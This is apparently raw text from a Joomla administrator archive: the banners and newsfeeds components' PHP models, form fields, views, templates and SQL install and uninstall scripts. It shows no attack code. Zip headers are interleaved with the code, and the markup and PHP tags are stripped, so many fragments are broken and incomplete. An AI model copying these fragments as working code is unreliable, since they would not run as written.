$clientId = $this->getState('filter.client_id'); if (!empty($clientId)) { $where.=' AND cid = '.(int) $clientId; } // Filter by category if (!empty($categoryId)) { $where.=' AND catid = '.(int) $categoryId; } $query->where('banner_id IN (SELECT id FROM '.$db->quoteName('#__banners').' WHERE '.$where.')'); $db->setQuery((string)$query); $this->setError((string)$query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED')); } return true; } /** * Get file name * * @return string The file name * @since 1.6 */ public function getBaseName() { if (!isset($this->basename)) { $app = JFactory::getApplication(); $basename = $this->getState('basename'); $basename = str_replace('__SITE__', $app->getCfg('sitename'), $basename); $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { if ($categoryId > 0) { $basename = str_replace('__CATID__', $categoryId, $basename); } else { $basename = str_replace('__CATID__', '', $basename); } $categoryName = $this->getCategoryName(); $basename = str_replace('__CATNAME__', $categoryName, $basename); } else { $basename = str_replace('__CATID__', '', $basename); $basename = str_replace('__CATNAME__', '', $basename); } $clientId = $this->getState('filter.client_id'); if (is_numeric($clientId)) { if ($clientId > 0) { $basename = str_replace('__CLIENTID__', $clientId, $basename); } else { $basename = str_replace('__CLIENTID__', '', $basename); } $clientName = $this->getClientName(); $basename = str_replace('__CLIENTNAME__', $clientName, $basename); } else { $basename = str_replace('__CLIENTID__', '', $basename); $basename = str_replace('__CLIENTNAME__', '', $basename); } $type = $this->getState('filter.type'); if ($type > 0) { $basename = str_replace('__TYPE__', $type, $basename); $typeName = JText::_('COM_BANNERS_TYPE'.$type); $basename = str_replace('__TYPENAME__', $typeName, $basename); } else { $basename = str_replace('__TYPE__', '', $basename); $basename = str_replace('__TYPENAME__', '', $basename); } $begin = $this->getState('filter.begin'); if (!empty($begin)) { $basename = str_replace('__BEGIN__', $begin, $basename); } else { $basename = str_replace('__BEGIN__', '', $basename); } $end = $this->getState('filter.end'); if (!empty($end)) { $basename = str_replace('__END__', $end, $basename); } else { $basename = str_replace('__END__', '', $basename); } $this->basename = $basename; } return $this->basename; } /** * Get the category name. * * @return string The category name * @since 1.6 */ protected function getCategoryName() { $categoryId = $this->getState('filter.category_id'); if ($categoryId) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('title'); $query->from($db->quoteName('#__categories')); $query->where($db->quoteName('id').'='.$db->quote($categoryId)); $db->setQuery((string)$query); $name = $db->loadResult(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { $name = JText::_('COM_BANNERS_NOCATEGORYNAME'); } return $name; } /** * Get the category name * * @return string The category name. * @since 1.6 */ protected function getClientName() { $clientId = $this->getState('filter.client_id'); if ($clientId) { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('name'); $query->from($db->quoteName('#__banner_clients')); $query->where($db->quoteName('id').'='.$db->quote($clientId)); $db->setQuery((string)$query); $name = $db->loadResult(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } else { $name = JText::_('COM_BANNERS_NOCLIENTNAME'); } return $name; } /** * Get the file type. * * @return string The file type * @since 1.6 */ public function getFileType() { return $this->getState('compressed') ? 'zip' : 'csv'; } /** * Get the mime type. * * @return string The mime type. * @since 1.6 */ public function getMimeType() { return $this->getState('compressed') ? 'application/zip' : 'text/csv'; } /** * Get the content * * @return string The content. * @since 1.6 */ public function getContent() { if (!isset($this->content)) { $this->content = ''; $this->content.= '"'.str_replace('"', '""', JText::_('COM_BANNERS_HEADING_NAME')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_CLIENT')).'","'. str_replace('"', '""', JText::_('JCATEGORY')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_TYPE')).'","'. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_COUNT')).'","'. str_replace('"', '""', JText::_('JDATE')).'"'."\n"; foreach($this->getItems() as $item) { $this->content.= '"'.str_replace('"', '""', $item->name).'","'. str_replace('"', '""', $item->client_name).'","'. str_replace('"', '""', $item->category_title).'","'. str_replace('"', '""', ($item->track_type==1 ? JText::_('COM_BANNERS_IMPRESSION'): JText::_('COM_BANNERS_CLICK'))).'","'. str_replace('"', '""', $item->count).'","'. str_replace('"', '""', $item->track_date).'"'."\n"; } if ($this->getState('compressed')) { $app = JFactory::getApplication('administrator'); $files = array(); $files['track']=array(); $files['track']['name'] = $this->getBasename() . '.csv'; $files['track']['data'] = $this->content; $files['track']['time'] = time(); $ziproot = $app->getCfg('tmp_path').'/' . uniqid('banners_tracks_') . '.zip'; // run the packager jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); jimport('joomla.filesystem.archive'); $delete = JFolder::files($app->getCfg('tmp_path').'/', uniqid('banners_tracks_'), false, true); if (!empty($delete)) { if (!JFile::delete($delete)) { // JFile::delete throws an error $this->setError(JText::_('COM_BANNERS_ERR_ZIP_DELETE_FAILURE')); return false; } } if (!$packager = JArchive::getAdapter('zip')) { $this->setError(JText::_('COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE')); return false; } elseif (!$packager->create($ziproot, $files)) { $this->setError(JText::_('COM_BANNERS_ERR_ZIP_CREATE_FAILURE')); return false; } $this->content = file_get_contents($ziproot); } } return $this->content; } } PK@y>\).components/com_banners/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/%%5components/com_banners/models/fields/bannerclient.phpnuW+A\K1components/com_banners/models/fields/imptotal.phpnuW+Aid.'_unlimited\').checked=document.id(\''.$this->id.'\').value==\'\';"'; $onclick = ' onclick="if (document.id(\''.$this->id.'_unlimited\').checked) document.id(\''.$this->id.'\').value=\'\';"'; $value = empty($this->value) ? '' : $this->value; $checked = empty($this->value) ? ' checked="checked"' : ''; return '
      '; } } PK@y>\a*0components/com_banners/models/fields/impmade.phpnuW+Aid.'\').value=\'0\';"'; return ''; } } PK@y>\=D/components/com_banners/models/fields/clicks.phpnuW+Aid.'\').value=\'0\';"'; return ''; } } PK@y>\P1components/com_banners/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $bannerId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__banners' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $bannerId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $bannerId ? 0 : 1); } return implode($html); } } PK@y>\V/components/com_banners/models/fields/index.htmlnuW+A PK@y>\;?,?,(components/com_banners/models/banner.phpnuW+AsetError(JText::_('JGLOBAL_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['category_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if ($cmd == 'c') { $result = $this->batchCopy($commands['category_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['category_id'], $pks, $contexts)) { return false; } $done = true; } if (strlen($commands['client_id']) > 0) { if (!$this->batchClient($commands['client_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch client changes for a group of banners. * * @param string $value The new value matching a client. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 2.5 */ protected function batchClient($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); foreach ($pks as $pk) { if ($user->authorise('core.edit', $contexts[$pk])) { $table->reset(); $table->load($pk); $table->cid = (int) $value; if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT')); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Batch copy items to a new category or current. * * @param integer $value The new category. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 2.5 */ protected function batchCopy($value, $pks, $contexts) { $categoryId = (int) $value; $table = $this->getTable(); $i = 0; // Check that the category exists if ($categoryId) { $categoryTable = JTable::getInstance('Category'); if (!$categoryTable->load($categoryId)) { if ($error = $categoryTable->getError()) { // Fatal error $this->setError($error); return false; } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } } } if (empty($categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } // Check that the user has create permission for the component $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_banners.category.' . $categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } // Parent exists so we let's proceed while (!empty($pks)) { // Pop the first ID off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Alter the title & alias $data = $this->generateNewTitle($categoryId, $table->alias, $table->name); $table->name = $data['0']; $table->alias = $data['1']; // Reset the ID because we are making a copy $table->id = 0; // New category ID $table->catid = $categoryId; // TODO: Deal with ordering? //$table->ordering = 1; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canDelete($record) { if (!empty($record->id)) { if ($record->state != -2) { return; } $user = JFactory::getUser(); if (!empty($record->catid)) { return $user->authorise('core.delete', 'com_banners.category.' . (int) $record->catid); } else { return parent::canDelete($record); } } } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check against the category. if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_banners.category.' . (int) $record->catid); } // Default to component settings if category not known. else { return parent::canEditState($record); } } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 1.6 */ public function getTable($type = 'Banner', $prefix = 'BannersTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the record form. * * @param array $data Data for the form. [optional] * @param boolean $loadData True if the form is to load its own data (default case), false if not. [optional] * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_banners.banner', 'banner', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Determine correct permissions to check. if ($this->getState('banner.id')) { // Existing record. Can only edit in selected categories. $form->setFieldAttribute('catid', 'action', 'core.edit'); } else { // New record. Can only create in selected categories. $form->setFieldAttribute('catid', 'action', 'core.create'); } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); $form->setFieldAttribute('state', 'disabled', 'true'); $form->setFieldAttribute('sticky', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); $form->setFieldAttribute('state', 'filter', 'unset'); $form->setFieldAttribute('sticky', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_banners.edit.banner.data', array()); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('banner.id') == 0) { $app = JFactory::getApplication(); $data->set('catid', JRequest::getInt('catid', $app->getUserState('com_banners.banners.filter.category_id'))); } } return $data; } /** * Method to stick records. * * @param array &$pks The ids of the items to publish. * @param integer $value The value of the published state * * @return boolean True on success. * * @since 1.6 */ function stick(&$pks, $value = 1) { // Initialise variables. $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Access checks. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if (!$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } } // Attempt to change the state of the records. if (!$table->stick($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } return true; } /** * A protected method to get a set of ordering conditions. * * @param JTable $table A record object. * * @return array An array of conditions to add to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'catid = '. (int) $table->catid; $condition[] = 'state >= 0'; return $condition; } } PK@y>\)'components/com_banners/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_banners/models/index.htmlnuW+A PK@y>\N*Ɣ 1components/com_banners/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__banners` ( `id` INTEGER NOT NULL auto_increment, `cid` INTEGER NOT NULL DEFAULT '0', `type` INTEGER NOT NULL DEFAULT '0', `name` VARCHAR(255) NOT NULL DEFAULT '', `alias` VARCHAR(255) NOT NULL DEFAULT '', `imptotal` INTEGER NOT NULL DEFAULT '0', `impmade` INTEGER NOT NULL DEFAULT '0', `clicks` INTEGER NOT NULL DEFAULT '0', `clickurl` VARCHAR(200) NOT NULL DEFAULT '', `state` TINYINT(3) NOT NULL DEFAULT '0', `catid` INTEGER UNSIGNED NOT NULL DEFAULT 0, `description` TEXT NOT NULL, `custombannercode` VARCHAR(2048) NOT NULL, `sticky` TINYINT(1) UNSIGNED NOT NULL DEFAULT 0, `ordering` INTEGER NOT NULL DEFAULT 0, `metakey` TEXT NOT NULL, `params` TEXT NOT NULL, `own_prefix` TINYINT(1) NOT NULL DEFAULT '0', `metakey_prefix` VARCHAR(255) NOT NULL DEFAULT '', `purchase_type` TINYINT NOT NULL DEFAULT '-1', `track_clicks` TINYINT NOT NULL DEFAULT '-1', `track_impressions` TINYINT NOT NULL DEFAULT '-1', `checked_out` INTEGER UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_up` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `publish_down` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `reset` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `created` DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00', `language` char(7) NOT NULL DEFAULT '', PRIMARY KEY (`id`), INDEX `idx_state` (`state`), INDEX `idx_own_prefix` (`own_prefix`), INDEX `idx_metakey_prefix` (`metakey_prefix`), INDEX `idx_banner_catid`(`catid`), INDEX `idx_language` (`language`) ) DEFAULT CHARSET=utf8; CREATE TABLE `#__banner_clients` ( `id` INTEGER NOT NULL auto_increment, `name` VARCHAR(255) NOT NULL DEFAULT '', `contact` VARCHAR(255) NOT NULL DEFAULT '', `email` VARCHAR(255) NOT NULL DEFAULT '', `extrainfo` TEXT NOT NULL, `state` TINYINT(3) NOT NULL DEFAULT '0', `checked_out` INTEGER UNSIGNED NOT NULL DEFAULT '0', `checked_out_time` DATETIME NOT NULL default '0000-00-00 00:00:00', `metakey` TEXT NOT NULL, `own_prefix` TINYINT NOT NULL DEFAULT '0', `metakey_prefix` VARCHAR(255) NOT NULL default '', `purchase_type` TINYINT NOT NULL DEFAULT '-1', `track_clicks` TINYINT NOT NULL DEFAULT '-1', `track_impressions` TINYINT NOT NULL DEFAULT '-1', PRIMARY KEY (`id`), INDEX `idx_own_prefix` (`own_prefix`), INDEX `idx_metakey_prefix` (`metakey_prefix`) ) DEFAULT CHARSET=utf8; CREATE TABLE `#__banner_tracks` ( `track_date` DATETIME NOT NULL, `track_type` INTEGER UNSIGNED NOT NULL, `banner_id` INTEGER UNSIGNED NOT NULL, `count` INTEGER UNSIGNED NOT NULL DEFAULT '0', PRIMARY KEY (`track_date`, `track_type`, `banner_id`), INDEX `idx_track_date` (`track_date`), INDEX `idx_track_type` (`track_type`), INDEX `idx_banner_id` (`banner_id`) ) DEFAULT CHARSET=utf8; PK@y>\)$components/com_banners/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\yy3components/com_banners/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__banners`; DROP TABLE IF EXISTS `#__banner_clients`; DROP TABLE IF EXISTS `#__banner_tracks`; PK@y>\V%components/com_banners/sql/index.htmlnuW+A PK@y>\V2components/com_newsfeeds/views/newsfeed/index.htmlnuW+A PK@y>\$5components/com_newsfeeds/views/newsfeed/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); // Since we don't track these assets at the item level, use the category id. $canDo = NewsfeedsHelper::getActions($this->item->catid,0); JToolBarHelper::title(JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEED'), 'newsfeeds.png'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit')||count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)) { JToolBarHelper::apply('newsfeed.apply'); JToolBarHelper::save('newsfeed.save'); } if (!$checkedOut && count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0){ JToolBarHelper::save2new('newsfeed.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('newsfeed.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('newsfeed.cancel'); } else { JToolBarHelper::cancel('newsfeed.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT'); } } PK@y>\/Cuu<components/com_newsfeeds/views/newsfeed/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\)6components/com_newsfeeds/views/newsfeed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V7components/com_newsfeeds/views/newsfeed/tmpl/index.htmlnuW+A PK@y>\aʼnT5components/com_newsfeeds/views/newsfeed/tmpl/edit.phpnuW+A
      item->id) ? JText::_('COM_NEWSFEEDS_NEW_NEWSFEED') : JText::sprintf('COM_NEWSFEEDS_EDIT_NEWSFEED', $this->item->id); ?>
      • form->getLabel('name'); ?> form->getInput('name'); ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • form->getLabel('catid'); ?> form->getInput('catid'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('ordering'); ?> form->getInput('ordering'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id, array('useCookie'=>1)); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
      • form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
      • form->getLabel('modified'); ?> form->getInput('modified'); ?>
      • form->getLabel('numarticles'); ?> form->getInput('numarticles'); ?>
      • form->getLabel('cache_time'); ?> form->getInput('cache_time'); ?>
      • form->getLabel('rtl'); ?> form->getInput('rtl'); ?>
      • form->getLabel('xreference'); // Missing from schema! ?> form->getInput('xreference'); ?>
      loadTemplate('params'); ?> loadTemplate('metadata'); ?>
      PK@y>\V'022>components/com_newsfeeds/views/newsfeed/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\)1components/com_newsfeeds/views/newsfeed/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)(components/com_newsfeeds/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V)components/com_newsfeeds/views/index.htmlnuW+A PK@y>\F[!!9components/com_newsfeeds/views/newsfeeds/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_newsfeeds.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_newsfeeds.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_newsfeeds.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id') || $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_newsfeeds.category.'.$item->catid) && $canCheckin; ?>
      items, 'filesave.png', 'newsfeeds.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'newsfeeds.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      published, $i, 'newsfeeds.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> escape($item->category_title); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'newsfeeds.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, ($item->catid == @$this->items[$i+1]->catid), 'newsfeeds.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> numarticles; ?> cache_time; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_newsfeeds') && $user->authorize('core.edit', 'com_newsfeeds') && $user->authorize('core.edit.state', 'com_newsfeeds')) : ?> loadTemplate('batch'); ?>
      PK@y>\{y))?components/com_newsfeeds/views/newsfeeds/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PK@y>\f]nV7components/com_newsfeeds/views/newsfeeds/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : ?>
      pagination->getListFooter(); ?>
      escape($item->name); ?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      PK@y>\)7components/com_newsfeeds/views/newsfeeds/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V8components/com_newsfeeds/views/newsfeeds/tmpl/index.htmlnuW+A PK@y>\)2components/com_newsfeeds/views/newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R6components/com_newsfeeds/views/newsfeeds/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $state = $this->get('State'); $canDo = NewsfeedsHelper::getActions($state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_NEWSFEEDS_MANAGER_NEWSFEEDS'), 'newsfeeds.png'); if (count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0) { JToolBarHelper::addNew('newsfeed.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('newsfeed.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('newsfeeds.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('newsfeeds.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('newsfeeds.archive'); } if ($canDo->get('core.admin')) { JToolBarHelper::checkin('newsfeeds.checkin'); } if ($state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'newsfeeds.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('newsfeeds.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_newsfeeds'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS'); } } PK@y>\V3components/com_newsfeeds/views/newsfeeds/index.htmlnuW+A PK@y>\)&&5components/com_newsfeeds/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__newsfeeds`; PK@y>\3components/com_newsfeeds/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__newsfeeds` ( `catid` integer NOT NULL default '0', `id` integer(10) UNSIGNED NOT NULL auto_increment, `name` varchar(100) NOT NULL DEFAULT '', `alias` varchar(100) NOT NULL default '', `link` varchar(200) NOT NULL DEFAULT '', `filename` varchar(200) default NULL, `published` tinyint(1) NOT NULL default '0', `numarticles` integer unsigned NOT NULL default '1', `cache_time` integer unsigned NOT NULL default '3600', `checked_out` integer(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` integer NOT NULL default '0', `rtl` tinyint(4) NOT NULL default '0', `access` tinyint UNSIGNED NOT NULL DEFAULT '0', `language` char(7) NOT NULL DEFAULT '', `params` text NOT NULL, `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL default '0', `created_by_alias` varchar(255) NOT NULL default '', `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL default '0000-00-00 00:00:00', `publish_down` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`published`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) DEFAULT CHARSET=utf8; PK@y>\)&components/com_newsfeeds/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V'components/com_newsfeeds/sql/index.htmlnuW+A PK@y>\v 1components/com_newsfeeds/controllers/newsfeed.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absence of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method to check if you can edit a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $user = JFactory::getUser(); $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if 